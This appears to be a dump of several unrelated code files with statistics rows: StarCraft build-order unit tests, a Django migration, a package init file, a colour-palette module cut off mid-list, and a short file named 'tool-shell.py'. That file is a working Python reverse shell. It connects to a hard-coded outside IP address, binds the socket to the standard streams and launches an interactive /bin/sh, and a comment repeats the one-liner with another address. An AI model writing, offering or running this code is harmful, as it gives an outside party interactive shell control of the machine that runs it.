0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev_p, 1) def test_order_dev_p_is_zero_when_build_unit_is_not_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 15, 25, 95)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 16, 55, 205)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev_p, 0) def test_order_deviation_calculated_correctly_when_build_has_different_element(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev_p, 1) def test_order_dev_p_is_correct_when_build_unit_is_not_missing_but_greater_than_ORDER_DEV_GRACE(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 55, 205)) compare_bo.append(BuildOrderElement(23, 'Pylon', 17, 65, 215)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev_p, 1) #endregion #region tag_order_dev_plus def test_tag_order_dev_p_is_not_incremented_when_units_do_not_differ(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertFalse(uc.BUILDING_TAG in bo_dev.tag_order_dev_p) self.assertFalse(uc.SUPPLY_TAG in bo_dev.tag_order_dev_p) def test_tag_order_dev_p_is_incremented_when_build_order_element_is_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev_p[uc.BUILDING_TAG], 1) self.assertEqual(bo_dev.tag_order_dev_p[uc.SUPPLY_TAG], 1) def test_tag_order_dev_p_is_incremented_when_multiple_elements_with_the_same_tag_are_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) golden_bo.append(BuildOrderElement(4, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(4, 'Probe', 12, 0, 0)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev_p[uc.BUILDING_TAG], 3) def test_tag_order_dev_p_calculated_correctly_when_build_has_different_element(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev_p[uc.SUPPLY_TAG], 1) def test_order_dev_p_is_correct_when_build_unit_is_not_missing_but_greater_than_ORDER_DEV_GRACE(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 55, 205)) compare_bo.append(BuildOrderElement(23, 'Pylon', 17, 65, 215)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev_p[uc.SUPPLY_TAG], 1) #endregion #region deviation def test_deviation_is_zero_when_builds_are_exactly_the_same(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.dev, 0) #endregion #region get_scaled_tag_order_dev def test_scaled_tag_order_dev_is_zero_when_tag_has_not_occurred_in_build(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(0, bo_dev.get_scaled_tag_order_dev(uc.ARMY_TAG)) def test_scaled_tag_order_dev_is_correct_when_elements_are_ordered_different(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(2 / 6, bo_dev.get_scaled_tag_order_dev(uc.BUILDING_TAG)) def test_scaled_tag_order_dev_is_correct_when_elements_are_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(1 / 6, bo_dev.get_scaled_tag_order_dev(uc.SUPPLY_TAG)) def test_scaled_tag_order_dev_is_correct_when_elements_are_ordered_different_and_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(2 / 6, bo_dev.get_scaled_tag_order_dev(uc.BUILDING_TAG)) #endregion #region get_average_order_dev def test_avg_order_dev_is_zero_when_builds_have_not_deviated(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(0, bo_dev.get_average_order_dev()) def test_avg_order_dev_is_correct_when_elements_are_ordered_different(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) # deviations are: 0, 1, 1 self.assertEqual(1, bo_dev.get_average_order_dev()) def test_avg_order_dev_is_correct_when_elements_are_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Probe', 12, 30, 110)) golden_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 12, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 60, 220)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) # deviations are: 0, 2, 1, 0 self.assertEqual(0, bo_dev.get_average_order_dev()) def test_avg_order_dev_is_correct_when_elements_are_ordered_different_and_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) # deviation are: 0, 1, 1 self.assertEqual(1, bo_dev.get_average_order_dev()) #endregion if __name__ == '__main__': unittest.main()
41.024803
115
0.658276
4,570
36,389
4.946171
0.037199
0.09839
0.307468
0.198859
0.945408
0.938816
0.934835
0.925146
0.904397
0.894665
0
0.06915
0.223859
36,389
886
116
41.071106
0.73119
0.016049
0
0.838384
0
0
0.057959
0
0
0
0
0
0.102694
1
0.080808
false
0
0.013468
0
0.09596
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
dec250f9f904f295f10586a2076b7a0f85ffc7f4
3,004
py
Python
great_international/migrations/0075_auto_20190904_1529.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2018-03-20T11:19:07.000Z
2021-10-05T07:53:11.000Z
great_international/migrations/0075_auto_20190904_1529.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
802
2018-02-05T14:16:13.000Z
2022-02-10T10:59:21.000Z
great_international/migrations/0075_auto_20190904_1529.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2019-01-22T13:19:37.000Z
2019-07-01T10:35:26.000Z
# Generated by Django 2.2.3 on 2019-09-04 15:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('great_international', '0074_auto_20190902_1424'), ] operations = [ migrations.AddField( model_name='aboutditservicespage', name='featured_description', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_ar', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_de', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_en_gb', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_es', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_fr', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_ja', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_pt', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), migrations.AddField( model_name='aboutditservicespage', name='featured_description_zh_hans', field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True), ), ]
50.915254
174
0.658788
391
3,004
4.956522
0.168798
0.083591
0.106811
0.125387
0.905573
0.905573
0.905573
0.905573
0.869453
0.869453
0
0.013845
0.25466
3,004
58
175
51.793103
0.85172
0.01498
0
0.692308
1
0.173077
0.45722
0.072709
0
0
0
0
0
1
0
false
0
0.019231
0
0.076923
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ded021dfb49d8e7215e81e4c6981f8ff2084969e
142
py
Python
core/__init__.py
xthecoolboy/reaction-light
ae2d2b1f68535003fabb08de76f52800a4bebc92
[ "MIT" ]
null
null
null
core/__init__.py
xthecoolboy/reaction-light
ae2d2b1f68535003fabb08de76f52800a4bebc92
[ "MIT" ]
null
null
null
core/__init__.py
xthecoolboy/reaction-light
ae2d2b1f68535003fabb08de76f52800a4bebc92
[ "MIT" ]
null
null
null
from .migration import * from .activity import * from .migration import * from .database import * from .github import * from .schema import *
20.285714
24
0.746479
18
142
5.888889
0.388889
0.471698
0.358491
0.433962
0
0
0
0
0
0
0
0
0.169014
142
6
25
23.666667
0.898305
0
0
0.333333
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
ded541afc057d144094d8de107e355a38765418d
453
py
Python
python/tool-shell.py
q1angwang/Blog-of-wq
71eefaf3d1713fcf82e6fe97d7c4da7d112beae2
[ "MIT" ]
2
2020-12-28T13:14:07.000Z
2022-03-03T03:32:23.000Z
python/tool-shell.py
q1angwang/Blog-of-wq
71eefaf3d1713fcf82e6fe97d7c4da7d112beae2
[ "MIT" ]
null
null
null
python/tool-shell.py
q1angwang/Blog-of-wq
71eefaf3d1713fcf82e6fe97d7c4da7d112beae2
[ "MIT" ]
null
null
null
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("52.15.198.8",2333)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); # 用 # 放一行简化 # import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("155.94.188.34",8809));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
37.75
219
0.679912
84
453
3.619048
0.380952
0.118421
0.138158
0.256579
0.894737
0.894737
0.894737
0.894737
0.894737
0.894737
0
0.087356
0.039735
453
12
219
37.75
0.611494
0.496689
0
0
0
0
0.088889
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
dedb6aee60ceaaedfbfdb9defce99fb6e874de7e
787,091
py
Python
depict/tools/color_palettes.py
vboulanger/draw
63a40999c84218d5237195adf02eb817dad54601
[ "MIT" ]
15
2020-01-15T17:28:29.000Z
2021-02-24T20:32:05.000Z
depict/tools/color_palettes.py
vboulanger/draw
63a40999c84218d5237195adf02eb817dad54601
[ "MIT" ]
null
null
null
depict/tools/color_palettes.py
vboulanger/draw
63a40999c84218d5237195adf02eb817dad54601
[ "MIT" ]
null
null
null
from ..core.tools import format_color import seaborn as sns # TODO: Add formulas to compute palettes # TODO: Add a grey scale palette _colors_categories_10 = { 1: [(76, 114, 176)], 2: [(76, 114, 176), (221, 132, 82)], 3: [(76, 114, 176), (221, 132, 82), (85, 168, 104)], 4: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82)], 5: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82), (129, 114, 179)], 6: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82), (129, 114, 179), (147, 120, 96)], 7: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82), (129, 114, 179), (147, 120, 96), (218, 139, 195)], 8: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82), (129, 114, 179), (147, 120, 96), (218, 139, 195), (140, 140, 140)], 9: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82), (129, 114, 179), (147, 120, 96), (218, 139, 195), (140, 140, 140), (204, 185, 116)], 10: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82), (129, 114, 179), (147, 120, 96), (218, 139, 195), (140, 140, 140), (204, 185, 116), (100, 181, 205)]} _color_categories_256 = { 1: [(204, 101, 101)], 2: [(204, 101, 101), (101, 204, 204)], 3: [(204, 101, 101), (102, 204, 101), (101, 102, 204)], 4: [(204, 101, 101), (153, 204, 101), (101, 204, 204), (152, 101, 204)], 5: [(204, 101, 101), (183, 204, 101), (101, 204, 142), (101, 142, 204), (183, 101, 204)], 6: [(204, 101, 101), (204, 204, 101), (102, 204, 101), (101, 204, 204), (101, 102, 204), (203, 101, 204)], 7: [(204, 101, 101), (204, 189, 101), (131, 204, 101), (101, 204, 160), (101, 160, 204), (131, 101, 204), (204, 101, 189)], 8: [(204, 101, 101), (204, 178, 101), (153, 204, 101), (101, 204, 127), (101, 204, 204), (101, 127, 204), (152, 101, 204), (204, 101, 178)], 9: [(204, 101, 101), (204, 170, 101), (169, 204, 101), (102, 204, 101), (101, 204, 170), (101, 169, 204), (101, 102, 204), (169, 101, 204), (204, 101, 169)], 10: [(204, 101, 101), (204, 163, 101), (183, 204, 101), (122, 204, 101), (101, 204, 142), (101, 204, 204), (101, 142, 204), (122, 101, 204), (183, 101, 204), (204, 101, 163)], 11: [(204, 101, 101), (204, 157, 101), (194, 204, 101), (139, 204, 101), (101, 204, 120), (101, 204, 176), (101, 176, 204), (101, 120, 204), (139, 101, 204), (194, 101, 204), (204, 101, 157)], 12: [(204, 101, 101), (204, 152, 101), (204, 204, 101), (153, 204, 101), (102, 204, 101), (101, 204, 152), (101, 204, 204), (101, 153, 204), (101, 102, 204), (152, 101, 204), (203, 101, 204), (204, 101, 153)], 13: [(204, 101, 101), (204, 149, 101), (204, 196, 101), (164, 204, 101), (117, 204, 101), (101, 204, 133), (101, 204, 180), (101, 180, 204), (101, 133, 204), (117, 101, 204), (164, 101, 204), (204, 101, 196), (204, 101, 149)], 14: [(204, 101, 101), (204, 145, 101), (204, 189, 101), (174, 204, 101), (131, 204, 101), (101, 204, 116), (101, 204, 160), (101, 204, 204), (101, 160, 204), (101, 116, 204), (131, 101, 204), (174, 101, 204), (204, 101, 189), (204, 101, 145)], 15: [(204, 101, 101), (204, 142, 101), (204, 183, 101), (183, 204, 101), (142, 204, 101), (102, 204, 101), (101, 204, 142), (101, 204, 183), (101, 183, 204), (101, 142, 204), (101, 102, 204), (142, 101, 204), (183, 101, 204), (204, 101, 183), (204, 101, 142)], 16: [(204, 101, 101), (204, 140, 101), (204, 178, 101), (191, 204, 101), (153, 204, 101), (114, 204, 101), (101, 204, 127), (101, 204, 165), (101, 204, 204), (101, 165, 204), (101, 127, 204), (114, 101, 204), (152, 101, 204), (191, 101, 204), (204, 101, 178), (204, 101, 140)], 17: [(204, 101, 101), (204, 138, 101), (204, 174, 101), (198, 204, 101), (162, 204, 101), (125, 204, 101), (101, 204, 114), (101, 204, 149), (101, 204, 186), (101, 186, 204), (101, 149, 204), (101, 114, 204), (125, 101, 204), (161, 101, 204), (197, 101, 204), (204, 101, 173), (204, 101, 137)], 18: [(204, 101, 101), (204, 136, 101), (204, 170, 101), (204, 204, 101), (169, 204, 101), (136, 204, 101), (102, 204, 101), (101, 204, 135), (101, 204, 170), (101, 204, 204), (101, 169, 204), (101, 135, 204), (101, 102, 204), (136, 101, 204), (169, 101, 204), (203, 101, 204), (204, 101, 169), (204, 101, 135)], 19: [(204, 101, 101), (204, 134, 101), (204, 166, 101), (204, 198, 101), (177, 204, 101), (144, 204, 101), (112, 204, 101), (101, 204, 123), (101, 204, 155), (101, 204, 187), (101, 187, 204), (101, 155, 204), (101, 123, 204), (112, 101, 204), (144, 101, 204), (177, 101, 204), (204, 101, 198), (204, 101, 166), (204, 101, 134)], 20: [(204, 101, 101), (204, 132, 101), (204, 163, 101), (204, 193, 101), (183, 204, 101), (153, 204, 101), (122, 204, 101), (101, 204, 112), (101, 204, 142), (101, 204, 173), (101, 204, 204), (101, 173, 204), (101, 142, 204), (101, 112, 204), (122, 101, 204), (152, 101, 204), (183, 101, 204), (204, 101, 193), (204, 101, 163), (204, 101, 132)], 21: [(204, 101, 101), (204, 131, 101), (204, 160, 101), (204, 189, 101), (189, 204, 101), (160, 204, 101), (131, 204, 101), (102, 204, 101), (101, 204, 131), (101, 204, 160), (101, 204, 189), (101, 189, 204), (101, 160, 204), (101, 131, 204), (101, 102, 204), (131, 101, 204), (160, 101, 204), (189, 101, 204), (204, 101, 189), (204, 101, 160), (204, 101, 131)], 22: [(204, 101, 101), (204, 129, 101), (204, 157, 101), (204, 185, 101), (194, 204, 101), (166, 204, 101), (139, 204, 101), (111, 204, 101), (101, 204, 120), (101, 204, 148), (101, 204, 176), (101, 204, 204), (101, 176, 204), (101, 148, 204), (101, 120, 204), (111, 101, 204), (139, 101, 204), (166, 101, 204), (194, 101, 204), (204, 101, 185), (204, 101, 157), (204, 101, 129)], 23: [(204, 101, 101), (204, 128, 101), (204, 155, 101), (204, 181, 101), (199, 204, 101), (172, 204, 101), (146, 204, 101), (119, 204, 101), (101, 204, 110), (101, 204, 137), (101, 204, 164), (101, 204, 190), (101, 190, 204), (101, 164, 204), (101, 137, 204), (101, 110, 204), (119, 101, 204), (146, 101, 204), (172, 101, 204), (199, 101, 204), (204, 101, 181), (204, 101, 155), (204, 101, 128)], 24: [(204, 101, 101), (204, 127, 101), (204, 152, 101), (204, 178, 101), (204, 204, 101), (178, 204, 101), (153, 204, 101), (127, 204, 101), (102, 204, 101), (101, 204, 127), (101, 204, 152), (101, 204, 178), (101, 204, 204), (101, 178, 204), (101, 153, 204), (101, 127, 204), (101, 102, 204), (127, 101, 204), (152, 101, 204), (178, 101, 204), (203, 101, 204), (204, 101, 178), (204, 101, 153), (204, 101, 127)], 25: [(204, 101, 101), (204, 126, 101), (204, 150, 101), (204, 175, 101), (204, 199, 101), (183, 204, 101), (159, 204, 101), (134, 204, 101), (110, 204, 101), (101, 204, 118), (101, 204, 142), (101, 204, 167), (101, 204, 191), (101, 191, 204), (101, 167, 204), (101, 142, 204), (101, 118, 204), (110, 101, 204), (134, 101, 204), (159, 101, 204), (183, 101, 204), (204, 101, 199), (204, 101, 175), (204, 101, 150), (204, 101, 126)], 26: [(204, 101, 101), (204, 125, 101), (204, 149, 101), (204, 172, 101), (204, 196, 101), (188, 204, 101), (164, 204, 101), (141, 204, 101), (117, 204, 101), (101, 204, 109), (101, 204, 133), (101, 204, 156), (101, 204, 180), (101, 204, 204), (101, 180, 204), (101, 156, 204), (101, 133, 204), (101, 109, 204), (117, 101, 204), (141, 101, 204), (164, 101, 204), (188, 101, 204), (204, 101, 196), (204, 101, 172), (204, 101, 149), (204, 101, 125)], 27: [(204, 101, 101), (204, 124, 101), (204, 147, 101), (204, 170, 101), (204, 192, 101), (192, 204, 101), (169, 204, 101), (147, 204, 101), (124, 204, 101), (102, 204, 101), (101, 204, 124), (101, 204, 147), (101, 204, 170), (101, 204, 192), (101, 192, 204), (101, 169, 204), (101, 147, 204), (101, 124, 204), (101, 102, 204), (124, 101, 204), (147, 101, 204), (169, 101, 204), (192, 101, 204), (204, 101, 192), (204, 101, 169), (204, 101, 147), (204, 101, 124)], 28: [(204, 101, 101), (204, 123, 101), (204, 145, 101), (204, 167, 101), (204, 189, 101), (196, 204, 101), (174, 204, 101), (153, 204, 101), (131, 204, 101), (109, 204, 101), (101, 204, 116), (101, 204, 138), (101, 204, 160), (101, 204, 182), (101, 204, 204), (101, 182, 204), (101, 160, 204), (101, 138, 204), (101, 116, 204), (109, 101, 204), (131, 101, 204), (152, 101, 204), (174, 101, 204), (196, 101, 204), (204, 101, 189), (204, 101, 167), (204, 101, 145), (204, 101, 123)], 29: [(204, 101, 101), (204, 123, 101), (204, 144, 101), (204, 165, 101), (204, 186, 101), (200, 204, 101), (179, 204, 101), (158, 204, 101), (137, 204, 101), (116, 204, 101), (101, 204, 109), (101, 204, 130), (101, 204, 151), (101, 204, 172), (101, 204, 193), (101, 193, 204), (101, 172, 204), (101, 151, 204), (101, 130, 204), (101, 109, 204), (116, 101, 204), (137, 101, 204), (158, 101, 204), (179, 101, 204), (200, 101, 204), (204, 101, 186), (204, 101, 165), (204, 101, 144), (204, 101, 123)], 30: [(204, 101, 101), (204, 122, 101), (204, 142, 101), (204, 163, 101), (204, 183, 101), (204, 204, 101), (183, 204, 101), (163, 204, 101), (142, 204, 101), (122, 204, 101), (102, 204, 101), (101, 204, 122), (101, 204, 142), (101, 204, 163), (101, 204, 183), (101, 204, 204), (101, 183, 204), (101, 163, 204), (101, 142, 204), (101, 122, 204), (101, 102, 204), (122, 101, 204), (142, 101, 204), (163, 101, 204), (183, 101, 204), (204, 101, 203), (204, 101, 183), (204, 101, 163), (204, 101, 142), (204, 101, 122)], 31: [(204, 101, 101), (204, 121, 101), (204, 141, 101), (204, 161, 101), (204, 180, 101), (204, 200, 101), (187, 204, 101), (167, 204, 101), (148, 204, 101), (128, 204, 101), (108, 204, 101), (101, 204, 115), (101, 204, 134), (101, 204, 154), (101, 204, 174), (101, 204, 194), (101, 194, 204), (101, 174, 204), (101, 154, 204), (101, 134, 204), (101, 115, 204), (108, 101, 204), (128, 101, 204), (148, 101, 204), (167, 101, 204), (187, 101, 204), (204, 101, 200), (204, 101, 180), (204, 101, 161), (204, 101, 141), (204, 101, 121)], 32: [(204, 101, 101), (204, 121, 101), (204, 140, 101), (204, 159, 101), (204, 178, 101), (204, 197, 101), (191, 204, 101), (172, 204, 101), (153, 204, 101), (133, 204, 101), (114, 204, 101), (101, 204, 108), (101, 204, 127), (101, 204, 146), (101, 204, 165), (101, 204, 184), (101, 204, 204), (101, 184, 204), (101, 165, 204), (101, 146, 204), (101, 127, 204), (101, 108, 204), (114, 101, 204), (133, 101, 